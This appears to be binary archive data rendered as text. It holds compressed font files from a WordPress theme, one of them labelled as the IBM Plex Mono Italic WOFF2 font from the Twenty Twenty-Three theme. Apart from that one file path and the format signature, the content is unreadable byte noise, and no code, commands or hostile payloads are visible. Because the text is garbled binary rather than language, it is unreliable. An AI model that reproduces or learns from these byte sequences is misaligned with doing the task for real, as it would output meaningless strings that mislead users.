ˆ8;Hu8l!mx;|k,"Wq|ĺRǁ):@zz 2GLTqܠ"ƒNwfW? >۳ {{8֋ ȑGzY6<њ <4U*E1' $YZ嚷vA0bcBfJQQNش3z*u7=Ԋ ߯DC63k4]yFF0olum>‚̺ o.4-b>x*"@{ema K["[!=Mƛ&v:5R7JNll2RQ^-g:)IYq+ܳ\M%{)1Ii#Tt~G~zgfi- =Uz2*䵗iy&o߿8(lJ3g|j6G4B_lś=``]%`mlfu嬊rQ^%OVsK]nvyuS$("jaTGߟ\T8hw^KE;g%_ZpGo'@'b]> .ڙָT׽)#2{h[#xQ̬|5gd 9\_AJ`Ap*oF"Ή͡>'vSu'JXȍC+%&DKfRdXPLmkk*!R+̓gCĝY"[h6KEq.Z!b+7h[E ٤# M7VflnyQ(8>fYg~fq:A,{TPaY˞;x؋.?~,tFto7mR4#+xErdiFê.؁wEpښRaP:@|Xt'xCG#S=R+5=AU=&v.m^ouDm$E_쀾D{?[1(=\L6E0/҆t=hAM*Cv֤VH~=Ն4`QTK3Þi]<|}y§!vvDhe &FR8Þ/^)^St碔rebѝ*<DaדJ67BJTZLb3Ut$f?:be˝% p?'_o'ѩY9_]O) e9N gɶ _2Ko>4zlT4e'nsE}0ᡶGȬ [ΰv5[^9r?+Z>9ZȈlݜHm[%Q:+'; 0C[d?-iވL_~]7nbBiՃVc߯oH~ kR%A**PQͥC=7X=[<19(hK нm1pۙɠ s2toh X . 1īf!@t} EЭ~ֺ*re=!>L2pwNYtflήW\㿟]``UWz1rٓbŇwc>#M   <"7RR X#=dh)))$t g1tC(EɄݩ8 L:0eoP@]Ӈ$'&BƮ , |H(ɲm'f1WF=dz`PӮ8Np$G T֣ydbDV.5BJi$KϏQ4.qD믂PWՎk›݂fiЎZb>%9%Uc$bP.s 0AqЪq8(H$p"C'V B &n؜*z%Y8>PU͎c˽!JcUwo j.$2)ѦXUb+^(D,}Vcv}15YE u B8)+GeSY\~%C2 D svqh D 4yƔŗڵВ? ~!pu"믌"u!)/Mb$*BA2H }ԓҕ΅IKb߫bT5ZNkp֦aׯaTѳ˅'GV .͘T±(pwy*cpJ+}C9c@D>/Kga`+gurB`B% a Gx"DDO˃1BxvyeyUW=_yШ(i~Xlwprzv&חG3Si"jZ5 ?j^~]O'tG#4Xj\ҁi+fH{ӓL <3>3 *Kz=u9CSRv J v5xtk8'͜a2[޵]tgፗM#qrx / }l*TEWae\.Khў"e,we RcstuZ.hVqJ.UM]Iua `;ۍl6&#W].;npr" y+^Xns`T<T5/H?c'NRR3QB-dwF[ $(B×htf;9ꀦy-`'@Hf#t 4@v"dH,}f{ q &nd?'k"]F!;G5 Zs5ǑTLgbHTKOɷ̙)d 2(ԊiBmI341nԫ0:_.Z# ear!-@ ear!- @ ear!-@ ear!-,>l1,XkT~(q%)zS>\ H1GOS)z(bP3ltk(6 !ʚ DZSl˄u=9ߚrhLjPbr SQ^~K%֔/RA33y:ZйJ]&f#q dGvS(ULqT*?mvǑCYcsj$+'O/G̝}7:;;h DSu}c?!XHM,YeU& LXnRTL4b5"  bݢo-1*A,1}}}#7*l{B""YK2׾[]] \Ԣ',y䱇8~4m 8Z RFe|kv+DMjɥB:<7etEVtf6e(_bİJQa3h5)'+ ԩVyՏƗDe,|;'tT0#U`Dfں"X6JK|FDC'z zTk)eKRj|ͅ t@QtfB !H)gݕ5$1MQ1}'_2N(ПY{_ YӘ{;B|9ّf ۇnJKv?wso=_ۿm:+Ns\fGϑ}NaMt&D@VST*.=Z>h2)NIR|MM`C0" I3rgDhgh ծFv]D9'W& nf֍~21czKf*m:++5u+q6|3$=zjQ&:VSJL-M9JX ʻځRpaw]yDq>$Ie)G>3b+ihH![BVE5@SP$Kc%W ڞsA 4ST ˗g6Nz3 yWJEY3+"E1ٖ+ 0x+A("=3ФEHBQ28Ha~A1,yp-[obxB6d v@NRldSL:Mt ГAopΏ9 .;c;SN;#s+a]p{?^*#¼]T '$3nTq ^/@ E~fytk_}]ۚ1JWVP!6LdC?q`F䀛V|SN;sλKOd=q;ND{}|?ܗx Z( "Wc\&<-'5oS[ [f-a26.E9b.D9|E9lDtNŵ2<hg}G̟8q2LdrFL`jn?&Wa= ϐF> 7EP\ @ W@}F+pc. xs7[2(jrzX/: }Y\Sm8i3N۬moL3ϐLb‹ e<㹮Vx;nw$x~g(ȣ*u阴kp#)Ye!3˖J.(<">S;m-yDuʒzw;B3me+׮bZۖ}3}scnl!_}NAp6}ߝ{xo Wq/qYtBQ C,llҔhyzqZаx¼؟#seПr™1mM,/Nt||8Izb}p??>툚oDW&X/ 327z"MHqDI_8|E XA7߀RȫWp:qAC{s6NXa}O[S(R8&j2ae>RRoF)\X`5, 4|gBܜ'^OoˮJPT25ڌ3dSMr+iA;vȞ&:[[7 kG~{^6M݀EHA =JڦvC3G&،3{ifou̢ZKnq,n?_;+'H BlfPmEml)1KK}q9i9Le uRH\%/tn{G^{'{%y2!D /W*Tf&P?_;$DH,0SZ'^&Z|GafZX6{5Kw@Lm MO^Zsڻρ[57۩ݚmLGkijX}Jooon}28y !9RvӈdGQtQݥrS&Y{/G.M;1L7jkr#W\uMv?xg^z7>jadFk ì+37ggxxR'v_}7{,ar~`Nd10 Z [MMݪ?nsAyIj_iC[_fISJCEl@OfѺ@MJ׽ )RQPkV/)+YUzn6M$U^gۅ۹&zú6] K֟o+bT4dw^XxG=w8Ju| @6,2?D/jDKx9yo);ZaDAQ..2O>m8ptW7>hRӚJ+Fzh\I]ߕݯ[wuyZm1Q}qz*IeXX{ U\ԊD+ƅWT Tĕ4k` kyvd[k`87ucH1v ͺR, ӮKpR:ޚq c>,|%RᲔгp(|%@Gwh)iBa^p5`L_fjyM"!^U%Gs^ORH \OjZ==46<|k.݋o~+F&M8oE&pq"r 'Vhq8<.c54&0. Kl0]z=pDMBAnG)v۱G'<ܢ-ZN[l[mBec"X14OC&V0,~&Hs#&jkCaV^MH, !Z>D6X> wɺ+o E3E,78;%5l {$Y xBFR!P(`l{ ͅk<KJϞ;j.9\ = 8|9*G٬5:x2ij VLg`p% hu50W{dJ 7~cQ9 .ddP$dfQɹ?! ^'\|xmwAr 6JV\ogI'uh*˲v`-Z@V==~Rm H JhOrE!F/G߾zYzk m ˋvIIaQi,fw~TZumz;Z`X$ 7kw'B4 ƺBcD9Bay;lƣyD^u`&ShNMZ43C~ rTwXP>injmeۊSKI3*Vo0t䦂cS͎z2`%dVPM;ߛ;>vOZoN-Qf\kE鼰P%GchF-(EyѰRJ(da|>:ħ >4[kBp[*֝˓k︈jV ;Z;\Q$^H8l!&^{|M5i}gҮW"iƣ+FmBmc^OA'v%~]lUgK]|pN\6gK>%ˑlB!aB tErY Q(|wAB! ~K"zhϠ*Rƌg7' QXӰde| SiUs"$$R1lFMYfшov-fQ!7P 0|z PnA1l`&01uӰ΅!8TV6ymLHg^PMAs z~Tcǫz&Jp>;?&݆>X#{J˾L̙iu AEI7V?ıSlroz92ytӾgW!h]DZm)xdx*IB)m S Jַ( kk/ P^̑-ޮav.Nb&qd2F74.e>@e:*jAʜF4d.FCN6= /vdf>!ϑ'(#v˩̜ fcKxֽzݴEժ7\;*0=قGs`c,y߫ȅD>B`3!t^6–.uXf\DvF]H˧ܣ.ɔߺ-z1;ⓌPFf~&5_ڜSWq PQ@ K6HK ]h4R`pGZUO-cOfЦ&Bl V5hi:X{7< &Q_G.HNU#ԠFma3YSE}hw%v?ZMSTI70J rΡ ;='o(/q`alد4P@Fr+=Hs{jq2"ikJ`AMySYP/IE [eVhiMkjao~Tg (_o|R wè63pSAh7?̤"<6ٴ8t. 6/; aZQV 3ISMж'zCWGSjߌ׎gF;εgڦ-gmR;-kR0"̐d,_̾}1(?M䲨UQ/)%>/py8 H)BH%p9pB,.;<.g<W#~.}^aQ\Us=tn?y6g|H_e Vya hI633;z%`e%)Uɳ`n'Ț=;@VN7VΡ_%.^R9= g`߾rgf=^bF+v[VgC絀%#,(+z? HC(҈kR6SQi(rj`\M&lqq Uedó tTt}@aJUc;7:yژY7eo3Ky}-b'{2o'Q5 "pGuEHʢ]yoׅ8)_= mk +,qVmpaU@Pxc0LFtM3OpP,>Od-6kO#n߫Ύd{v&TJPɹh6•ĨS(^-s* ۋHKL;P*MY&ȣΥ4ǣ+B ?wb91bo[Tm I۫ryywYHׇ:~/|.%fw~ *+#xN/ԂrOt=^D4U]mC4i=&ŵYl|F*T[iЫ䔔 էNҞA*havX5Un9Hz(4#0KZ3]m*]&SM4Ч,zb l<|> F+p(9b[F>'H 8Z(%'TYTYRDQ @ղk,u*+Rc5>Zۮ+Mb7.t9(8+tr%RZenCEZPnڢM0.>y= w-ED8"Ws_847`Nrdž`ݓ~ ѕM΅cNGZ.Vݒvvzڦ[8=iz›OSGF?1:2t TAacJ+eKUb\cƴ*tO O7jsVldljZ7{EJSgZ'E.{^%~}Hu'$n҃8DAʉ3b䭢C~2ܟО?$RF~6{]DYG&K9ZEUm,Y̎;0L rG̑x159X%U z^F¥,.#7us? b^k" PRP-(P?8Xw$Ťpe29v1GI:FwDў6^#J"Wޙ1jLWèx{y#<Hr6 phf¨ t8`q5 u6ZMӶ6>HmKHYl{lU)L+PC&ɥbFE$IJO+!PȲhYb"qHV911ˁ`cb,\w%֘7DMK#qlW$6>uɚ6}d B2EfeeH7m "0xSh<K1IS=-t_D%n OR&-,.+ Z[aCFͤ^=m|2>~D.h5pfew_Ǥac iGc7{="9r_qߔ:Pưøy'fctf%\W SߊgH޽ckX\=qO.SQ‹'u08:.ݮ.b0ƿu9OTacJM):߀"" X OxOpP\ífнpWBC) fVܜB}QARbRgW8f΃1] `pʿ#S3㎔JSEB̠y+O6j5xQ'ʨ d8G1~ 2~Ϯ0pȗ?nFE5'33cpT-ۗffL9L$$b ̐ҕ,u֠0օ+QWW2#ǯBT&A$w3g12Zl23qbH򸩇2BOsB\A@TyܭҎuv^6"v܃ jOV̎r0 ?nA"W{5)2T"rR kFX## DscO J!^ȇX(gT D~{ec!y#:B@3ߓ;,43WǓF͇oN+;:)Lky"KʾGﱓ_q|K ) 9_aJ^'IIM2j=JE\#dS8{ G$uI#ܣթzBpk[H"1U^eMU$ZӖtP~_ċ\N/edMACTH]ngؽqhÒ+99f~T.0%}JS2}oWYy & 6qƑJW1 M43ZFs|t, m ]DUs 3.@:?R IG\JU<GMPn\,ݻճ]P,N{Nx7 ͷ2!)hRkFT%TTw4ɯ_SjC) )$_~O'oEJr˖~*ɟ(w޳ erH+,/O邻,rK=%Ue>gbyxDxyT: EZJXi>I^!NƪUbmwJ=8oy~1 mfnW,_`bO=fˎTZWũ[g'ӟRx:, f7JK;6?.%6Gz{j4\2y%IZ{,: !!&yQJf#My t8:S%G2 9iI?t"U, 6!f4 a|xܣ1 ЙAgԲﮆWlU6a;Kz>"(I*jylח1 [( T$ͧf#6 }J.N]ŷy|K!4f\ 9b% JZ<3i{Ʊ&BX$Ȅ 3:%0,> IiYi;8V)&|HKDKЕ+ZܢKf0G@ 5!!ci~){tjCh)ȷ ׺«߰F`,k]Vn(;y[緑 jnAKCG(t#9$nȄ/J"V*1N2Lnnjn}}n WR7E'1'5YJ-G$"P$ )"+PR$XHJjF7DzA=hii/5=gjh&l靺7+Aֻ{ҵ++sLL4> |Z2ofS O d2<ӛW!VPJ@AqW{ډOVAro_b;Jkzecc(_~@e@ٮ1JJQ8=O ڬBT'3 ּr[3ce`'ÛW%_/E, -<EDxRpׄ ;,C*SVSs;#NiakLKyfA5 x1lXh?6\uws4㧑{L}m2k%+"ǛiswbĀy#^hUQdrGPޏ:Wq„-l 3jme2P}CU9$MK"ºl٣$x24=O:! #unÉ4}@~VqOyn;쌉Sp $m<bvj; }jw =-'4F^ zXrַ|`u۷O[6$`,HE困M:nByjrKVrW9P}`zkC9 f$.<9 夠9p@Omn]%)+fɑ+|k}לQR-/e"LK(ؠ 0dTT"Jܙ!aƥe~'!Eߴi )g&YRӅhPz8|Oau^u[sq<9$ OHE~C|CLZ)f+ 4)骟t`bڏP TEĢ4SYZʌ8Lcily˫ѣEF[nn83? eNfn H(HhxKYLQ==G{"G<k>-S316ĢV wPy+AEll3@-\@?!&.Bsxe3;HhwAQwh!d\C]oȲ]h$J2H:RE@[/kP\f_޻#g{_&rE^(LiQJ$PO2x)Q';b\vɚ7L9,lgٱD)߼dlxTCFɂϐ 4^G!z5⪒<\Sz8_%8O;쬢zOpB}G*`<}5=rbsGIH5Fe{5+Fp\ ]^v#vu~Dθʻ~H|gTl[hpE?uU["W}8 I߭p߿hy!'wAq : ]$uM#a/Ӟ++k# bzҝ<}?hhZ 7 dUl:Jhee?![4ڝ|wdYV?zݥK*"׾ j0XlɇPyw %bЏN n@稷?ٻg.BszksVsn]г]heLtHv;fLO7WOtV]}=?A|}UA'O 6O (!*GDzOT7 :l~uP?{pkKT)9"UPG.rh|aE8m^u:ۍkv롯s0c.hsBxb])1ukBttsE{W^]48x,0OjCu󤢃* s٨pM*5%e%QGL >=k޵EZS!ŅٻTAˏD{b$Bd+ )ɪ|Y{@F%Z>bo~BGSX YWIZgeTp?X|Ufr⡮SwNF^ r_#ǣF&-xB>?Nj@/τY}5̿ـׁII(ye otg@H)z Ob1T&? ߖs|8a8\]C&}5bP=0Xخ|LB Jej]oCkd,Eڭ"-@v#A1$KHLB p&l q@gbi1Q.fK8Jx@R$yzyO)Ui Β6{uYN*tj|an4JQؙ_Yn#RI^aױis\)_B{H4۪П9ɐ6 J*Nsk?. c"*_`y7~ӯ%X(\D2?D[d-8Q4:Zk^1e$##R"$dbg^.|1="݋BLN 㞅{?ca#|"q]5^|m?Fi=:\TT^k?tyqԙ^EB*6.#6\}Bse޿Pٖ9xt_`u R/Z<\(\((oZmskT>~6q glޭiY40z Y蹿L O r3Qzs5FN:GL8kESÃ> )ʾN쒿bcͬM Q.Ԗ~ݽNJ qBr5=scO'G,|U{I#)T9.L94Aի\+٪}U@ȑmuy~öK=#'zmGݝR3qŒӊBo?T#kJ P,9In_;OGCvnUa%8٦8#+nܫ8xrm<o/)У.CN&O\-'5zZT^7S?;A5 ##D#.be~#PpRR9өUxRW ]'ӥ+_Owi~#MWJ%i݌}xoY=B݌__z}q9hŠJ8g9UTJ9 wQ)N`sxaEVrJ5 &9>8 U*H~ A/fR P $~Y>-Q֠91#$_ƚjL3ozv! i5.DT7>%$O2@Le$)Fa3727e']7 F;y)W6)%b ΰ`a>|HfPi|; i%7yggM>Lq?(9CIN's?yo8> I{S|!$:v3: Ǝ׈|ן{Ӛdwpjx7pz?\H0ݘ=Uzߝ`mx͆! PB54۠Wߐd1?cEqVlϫw}yb^EG{zqGcw{qOs܀-c|Z\kNW5Z89Ir:6~|#k~8tf:k f܎%O4b"*jϧf`AcI.C"`g }DnthPZG|J R mCPisl*Tz1dXW(&b)|" b1Qj'a(N,1sח%5BBJen["5b&ԍu kRǿASC^ A݇V1.JD 0C6]iCS1&gb0L" ف0F0ޢҏ,+g zݭ9Nb? Qd.|1rpcVzM1+퉈^ݬ6!4z157st|wmW`jWb9%UxQ:sIͯp`MNq!S9 87Iی1W%˫֕ggN|6r 2?/fL+Q@ /\ v?uŪvD)[M Q*Р~nmΤ>x-fɺ0|t=fo^Ǽ*2Xrknc̦.D^Ӱ~vʢA5&LKn/ qH3(]ɸo5`ufbĤ536Ƭ }Lh&73 g Y\ȣJ@-mG9JK| O܆LRw-Ib_JjWxu8k =5#}sJlдHU)Kaso jɈC{Bv6;kb?)lߑ~=QCI6\~Q[1+Z[C)\7#T}FGQޯk 0ی!UJYOS\`b FodTZ$dn񐜆3OeFeX)!>C'Wހg{ N1$߅7.?`~}A  ωTq3UbWFc 8O=Bꞗ6jj6*9'aJ7gygH0&hZ± pZVڠ>6̌o`TGFSF*Mm̛a ±u/TjaZUBQ[Q.{AV줲'm ݦLN@#J܏. l9 kl@| @#M9\Iaf 'O bu8<&\@77hCG(Y)T߲Z[y1=n zdX0tT "J @֞%3h=0k?!=3# TùqnasY v\SDDʿ_t I`T~d 'L@FYPl qrxQ*gw \߭,,ruT=;0pmvEDJXq')KEq v.(gwjv IOT+`}i I5/`OW SR&ԯ觜V-^3T MA`8É:ӹ`.[3gDka>,8{v2˞'{ L Ç)8rq+:< z k}稑s)nKp9kҩFjDbo,A"K#1@A+]\dc~|S:+;c?0Q{*ڛQbau.CΨ䥵 ЇPEr>aAv),*st? U7ׂRlH%bOEIF@"v8r@{\tdg7̦+yxz9ΰ,'1Wvy uQ1W{=E< ݴ'޾AlQ6֭쎪YH%qB X"rQpG !.eD(Rm55=0 f l۾e:L)ؑ:ZᶣVw;:s2V֗(A& wz?Z 㥵amvZ_/W?~ ej +aQx8s<`eAuڪ ͌3;v?0Klph֘UҖMO؏Ql>& `BӍ^r A P )ZjֺySSW҇~!UX:E໘q|dl`@/ь!"[B*$Ul 2$tK"ַcl<&84}.䝆2u Q}GV_C̈ޤb.u/1yvxmwL0E ڛ"s3toB:bAP~J֬RbuSZ^LjeMtaXecɡ% ;Z޽mv㛚OOESO >_6[+w5V)NwA%/6el=^=Eo1#Ƿw41esȕ5%r?.1]d\pγ?gR2 i'qPK4-@( ,K8 <3y~LRzKդHMV+]xVAu'Heț`ӸۛܙeU 횁.fW##*ABR?EnaG95I _1E1gƐ[ǗX7<"0j#|aT,8G;a;$of?<JxbEme_`"B:U`$- IZb-A] n_[R?@{)7ʴH!phbI^xYdS1,NJ~f73s*LIT^HU/7n:Zi9~K|oJ_)Hr yDTZ5 wՅ tp]-DM^ B2[p8 s70ծR?г aT>v*])M/CƋ)3jQi,Ktĝֶs= "sAiHv;Kt)زzUƁU$9^2GzkM7CVۀ1r~43%R * lQ|8b˓0\ ஖zj܂{7b4\% n*j< =Q`Dabrس"C WMP/y\SszfgҵzeU,Ӥ\Ⲁi)%@y[PT+2aUmVl8_$݄:nuD?pS]qAui)G^|ݠrkJJդ9hH~gEgNaPPK"XAZ~dި6ɇ0:XpȻ\b́8#T>dЩGxu"iLqІJ-zŒ BI"y;/K2X|ij3r%Ä#u:ynsG\^\i (  ANm~!([Cs؟;\6Fwͫ]u8бB̠ioO6h,fM~1!,qeRz:;q * T6Q߲+G<#|?̾3߼We))1܄>+D 0Bq=6]'PE2D^09o͚ ? >}BsB;n3%$<33j\O0bm8A8 mT=m9 Pot1nEa.t&p:1ǢWe9D($ȧE0Mb]R#<dH'$E.:J'&Lam&d.D=^~G/YŊ@.F'<V=nJ6l ]qѣۙ` ht1%Ϧ24[ؼ/6RHe P#u8.(KkQKڳ?X6J=qc@Z2@%-3DZ2<P ur #s({< ϡYg9 N9 ۫y>: $ql,fu_cc"NBzN;_ښjҩ-|| #snOgo'C4-~b8Fx:e䄈۝+/}apaE)?O7V́%KoC=b(l$ +f!,?܏EN3@ĩM6uUzV Gd&!B>]Ң@G4A4kYk&S.$Q]{'7:ȣB.LB/pOô2፹n_ <#zprt"tE9Z:m|ymÐZ9}xP%YP4ShWXCLZȤ/R̵-̭pLclèĽךԸ&jJ`oaO2h/1]'TXICŘJ!wD [Q(/RXUCfT{MMW=B}4 @lRX: G _ Xq1ג >.4M&xϑ =XM8uf@#b! ֖f L厘01(k{uk,_ul:V2q}(h684raL{+Ȱ6&cΦKQ &B^h*X)b]:FFG',BFLي/QZ /)W~/hED(,h23qUL󲲰 !t )mOܥҍ*3noW*F6|Eʲ񻋚:Ԋ7kxI%LxVGb?+C~5}`~T+L~΋L_Oq@Sl>6]^Nu~, >-\ZHR%?F7 {G ̾@/B k' G/r3ufI?T)9̣Y}CSർJ7%.26^,[W8`ݵrIg[ ~BͿ='G'usBLHNrŦYS&%^{d\kNT(ΦgGSmFQC5wc'~ÇAtZS.w` kDY&!0N<#ۭ+q*HcyM: i؉o, 7dC!FMZSjKCݭ' $y#Wa1F5>q5F{[IZWibVn0bxY!LUHOP}hqHyiV/$Rl&4D8HaWlwSjf`Zԧ^0@S0.$ .5^ӈ6V ( ^P"jmo%l30Kٲh#B\}@/_ឫ- a@1nHKKZc1W6v՞^'z\5om, D O/.nBEmCqxzy7jkV`[jvLr^ I2X"/k+(3-bD'c*6ەЙЊ4 ~S6Ewl/AQBDւɃke` k؂ X\&ƳuJTaZߑ0A\XO#XpkAn#}޲3h wb<3< >"(cnVD(HнmFyKʷIމ{b|d>y@C~G.HSIw)6#EDZvO-uStdqF:սldoFg֝~al4f&RHͅSDMQƴ",~-H٨uv- &F#͛#$ݯ-Ƈ Ca[vkE,In'BpvzzEm]Ȇ WK)jMH+"!Os|hեrm`No:nMF2ARϐf­j S Ag"j_V jiE{Lk9L"\ɫ1,UmNtLG;YKG^]ei^6Eʜ[jfdMՑ3C(NGSлpMTo}62KM@.5~]+khZkmM?jۄv\Q]\5䰅j ^} ` ϺC5Cd!b\vҬ`:bGv±|߮|Д&5k[lPXeCVg*6?8!٘WUf}u=t 9}ٲCw>o>јNi_gϴC^{moɞC/O_s6KRYШXQ~V,$ؾOvaAzࣳo:y9A@W}'m0h q {yiL|zr>8?.YW˩^ǵzV oL$R^ Us2&˯Эl)1H?a hy'I$HIZܭʍ1PB,K/Y&?2 Ld)a2Ma:~.Kv&ҩ-XW-JsǕ[lnN$$&\6Li՛u}XtWhʆ,~-Hh}YzG UBC.fxC]FJ1ӡ8NkpQE$@ථA%-#E9_[X= Wg4޴ۤ}˕I+^GnnW|հ\M`B>QНouh'&ZzY {mpۋZJ[oV>ؼz*.G &e!6٩ViwɊZ׺ኤsc2o' Im~_Y-:Dfr=Zux ԶH$QT_6&F2I2Ay CV\֍iD8[wPђ6WkJC;[\zt%W|]`޹h{ڿl1_>. P`T?^8t O/'W` ڔ@J*@E/(D,!.8(bCۓ"a)PnaTR;8`e2'Ą 3GǢȎ"@F|1-LtM_T%1Wn*3 f^܆0ŲNJJ:%YE;*l04u[2+/u0ܧx:,nGBtb6U Ӂ d`MMJL` ڨ lX9LG?BXd [.(?FN2goRp”4T)b( <[][K@/rC`>1:klQ duue(>J NX|[=M|2KȼVH@oӅ㻁at=l1&I ױ!{/X2\}^[hM;N aUboM'q[t|3 :*ױs7<9yB 53)qlD7ViɨԜ}H e$k@juURZZTZR^UkG3}V`;+ iyョpH0, ;4fϦ\eRJHÑ/P geCե'DqMyء` XIIeJiR`HRdD`.k]Zd>]ZԟF#J#,$NXxcRUuutĔm!~%JF\U92M+IWEӳl"Y({3PЩ|pṊҮ>xqI!QpҦTA D8\Mjwlg$y'jF D D]c f9B}/PQn"w,甲s78iVH*+HHְ625YB"Vɭyq@=R/L\VB+6\Y\\#c.Zx>z]JR쒢m}Sm]ɘMr T0 )(i tg`11Y9dqʖ#WBfV6vE(U\JU5XM5\ -%'*!IҤ32ɠO.ojv.^ ?v~J6 N*xf &dMc? xd5]\suxZK*Ԡ )?Xg,yiEfU„È) V8HF#D$}*O%H* K*6.4|2dQ(w:jfec+,Nr45+RD2*TR(=R^C55Fs56-Zi:8M0$&6]aYfq46<-"-2˭*}V[+ ZZg}OI:^ dlinvmmũ};`+qp':eN;oGs 'rڙ8.:۹yW\uu7tmwns߃J=G].OY[o'YP?7(DĈ@ RԤ!$Ғ$s/#.`,rS $afƅT˺y #($E3, $5Z`4-Vt=^? #?I{t&.JPml;ݞ}h(IҰ`z...l8/1΂*OuoD%W'!*I$)6!!2n<xGL dƎ ூJː'ŧ^`+uU* d㰟ޅ0pQQ=z֘Ĥٖ+5B]ӤZO)FѩE,&Xzya-UƜ5skkaz-,Emray8ԧ0nihxADD4r b"JB!B!D!B!YǗمsxΟV#b4n}Y)t_RfIbfqnZ _nBQ{ER(QSB">#f.֪/RrD =".[e"e" /)3jR᐀ f W1, Khx܌VɅ#uMe?dYa=A{Hqjnt  A0! ß1Э"ʀGGNj@ v4"N it_8/ w=cn]HCi / )iN8_o geAq__в֕sWyzқ?Qjׇrk6^z_W|z#BWUcHѿsnTemG@ޕ<HmV$;?넟 Ukh0 ڧ4 OS\q(0ﹲъ4OuVv@ǮY*S;i^%N-pUs!-~'+W:7!:ͻ.4R~g~ փk_/I+z%%-(hWxg%+3ē eka"themes/twentytwentythree/assets/fonts/ibm-plex-mono/IBMPlexMono-Italic.woff2000064400000114014152335264760023263 0ustar00wOF2 p8n` @ s X 6$< U 4[dus2TExm8A%'`ǧ'?;ȘM`i E"+f2bdnA7 -|$Q3adrwCa KXnR8$3uj6O+&]] ZSl|գmj䛸õu۪%J&|T= D+wXaS! $%BG R_ϡ~BγoNP?˸u8uSqwgA% (HVN|/xx CC4g5 +ٕs\j⪳T9䢓J u-e 6b:`Alŭ0VL01 7|#>prΫHh ߂y~{CeX(b%-CQWnm:jV\4V,. ~lҦ1DjFSe؈e(riT'ν"X `gWjA-[s- tcc0uCWM#%o ԛ)! %JE}͙ɽ$BR\~3$~Wt.)J #PPODm2G9&7;2Y4?Niw?([-C`Px?9ʩC39^Qf+mJ] ) /3;ͧTHmB#O'&W,]B˘ẹߗ>mB41M^=P{Hp-cCf m_H" TԵ@B(XDUa(B1}۾@$b}n3_\60Ϝgކmy0KCZԩ+u"(RΝ=_@JX(&8у6*jjSt9Cpt4OY` '(RH6DGQ҅NR̭S*ﹳsQZwA?hZVly-q,p:!+%3t9~K_jN;ka1->ò@#T-}"ZBԟs6 9S$݅GcFj?r6#P b7sF6RjMwH=y N&@;u$+r$~PG` l?(OȓKkH<3UӒn# V= ǰv?CiޟvB>K@6.}n @s(zW>w\plO{&8akxUPzźM L!,!}鿏cl6e230/]fc:70<&$S6'7`)v``9푙<G#Vv* w2l{¾}RZJ(R 5_(cBκrAu+!"a$@b4@"0tUWx@+)"I$RAaτAH:0R*N<9-RWA D`{2*yIQ@^ ,.(DR1B$_bu_zBKh-, |CH.%ܦ/C\+2*KYҊ/^S+Ls(o94b]긪8E]F:Vӧ.e>˿'r /âEB`+5)c&yނ̵`bh(oz}q}T{],FJcjfI k8 dJVo T: cyr*3a* B8=^Ly/R$w=}ȢxBPp$BE"_(3lrH-IĂ- A9߉5N01! $b u]`m"} Bs7͵{ֺ`,ؕḾ0d{D2qOB$5% 26507poH㫝7O0.v*ʕjhڝn?Ɠ鏹">z%y$́n0܀7VhBdyZ8s0je)T{eBHj0{Yjʛ./ĒΞG ;'YIE?݀=0tץ=%T'cwZ6s9kSŻM2GD?nE~ħ^zw;S.'þ" `͏U|O*󤈔I/_JO']_>w}5u#;O(ή3b**wx4RL#TޤqV EH-Er9 [>w>##Í8ILV383=0΃HeHTfph)4VRV%G=z,06}T A : FkRgePj-H0H~L3aG= 3*Y&wJ*5n.,Rn r\syҪ]OZ:ۉNu]ޠ <L4|e0)y#; fiN9]]^ZGzmYooekm퐭Ӷ`Z$ۊ 0vX`Vl''dsۇHgE9/9.DWb\~L!CQy +jo OC}5&X f*ˤR P"#.OeB'_?_;$@p47YZ X/M-#X?5ks|5Ku3@tm }+/,+Ʊu\g-T:gJ5u膩*벉]5k&WmBW,}EE߬ FT;^NqJ"IwL,QnKvW'=6ldO>YȰdž!O' ME9n.S$څyVNu>6| S!g] 5w;4WRmYC TASI/N4I3Vm=L8Yd`F+1N̸۷5 ln5bڇIFk{!R XhZMG^w>HQ`8) 0)l6uD|0oC, 1rTK=@,i1'6.Xl~2Zr 7?E}4罖,J@i s!/Kx.L =u4D./u,Aa_DqF.7R VܖZvG}1(XMkz2"Q`E*7`ԇ;VG2֞ez6TS=@XCkㆫ?DX,q讱55:MөnLZmݭdtb{ao2W C즹瀡(x]ln>ڮ,7$XCAL&8{^Y}sPl2 3KL.&%uA%IX3v2fRЪl쭱Eu>b9CWĽ|iFw*O S]rQW L ,%N2`!f 6wȵ]gD p7IC;8 LSk'sHFu#L$n@>/km;GÁ^lr[G\T9.dai<+ wFҩ.ynfI$phžǪ1:e 汲Ma{ܝm-/tK}JҐő1j7iQ*Km328?%A5XfסMqS}fbB,zB}P"=x~J]i?\QdҜ %k@gԃSnH@ǩPQ.h.I5I#'S]$Θwi0LEe$m$ɷP* ? ͇WIsS2^>7E޶On̖y0!wwysN`0H6-r'7[ [+X /1c2iENZ%b1,LZ5HcX! ˑWK!ë.V W5\ Aʀ"ZᮮiQ%M;F]: o~^A6#E qٍ!\jjޠY̌KXG)73mW|}I<›QH(bs.4ߚ]JOb)h(|Q_̰]MyQfHHtR <ᷞ92,^`D @qI)jhQFCBV~ch͵@v_m]_HRC8TA˞{eCW{v_wRBJ93nB][t5Nl L@thN,S O $LJ9 , 'M 0b79c@Ұq@;5O`W)k 6gb3֭MՠjDY>&nNfY`#xU:X, .RktZN /և'9 ? 0}ișn T :˨m#F,lإx֒$_eu <{J:o/pЌ3[qSE憰 &w8J9{ +5|us:,JХi4 [FQMǖAU>3#wN3RXS`=,G}}}ښ#͕1E.&Ǽʊc#b7f,ի/F0>Wvl*ʊ3cIPߴ.Vr&2]{^5|,<]!msiD(+L idj+K` oj./`Yٶ+XQ1Ÿ}|ّBgaRQ6u]a&S6W\Y \Aӈ_aB[yߒGf˻2-1E$А>~#;b!8O]LM_;}`^oƈ-?7Бarן1=>1f󆳿&˻VrCgZUmGe{kէ­?:/aF˧fх5"RO؄>BO>W*ߜC^U/$Sq3 m4"z9WP9_4Xso*N$v9 m>P>w.:"B_:T=ޔ W2" JƽWFe#.u>3tA0929}n]CSOVV4U.gGR6ڊP>hnHe@ ðl~=>>d^Z|XOn;B?ib#~-+iU;]hiZ/o!!pwgLIVkJejM=DNbnB$aa9}wбUUA} 22}T܉m-9J-y_ɇaˋex?bϪr,t 3\̋TwC(-u0,ӍkP^rsvD t5LcY_&~9?cpa0yѝneɫ'ydLUc7Q=Rz``*/ |_%̣0HB4׫+y'LnWG=+XX56;1XckQWJpa: @~)'l3n!@޽B9(|yoK΀OJaj@+G!FzhKu ,V~8Q=BGRH "H=TzuDn( y`r / 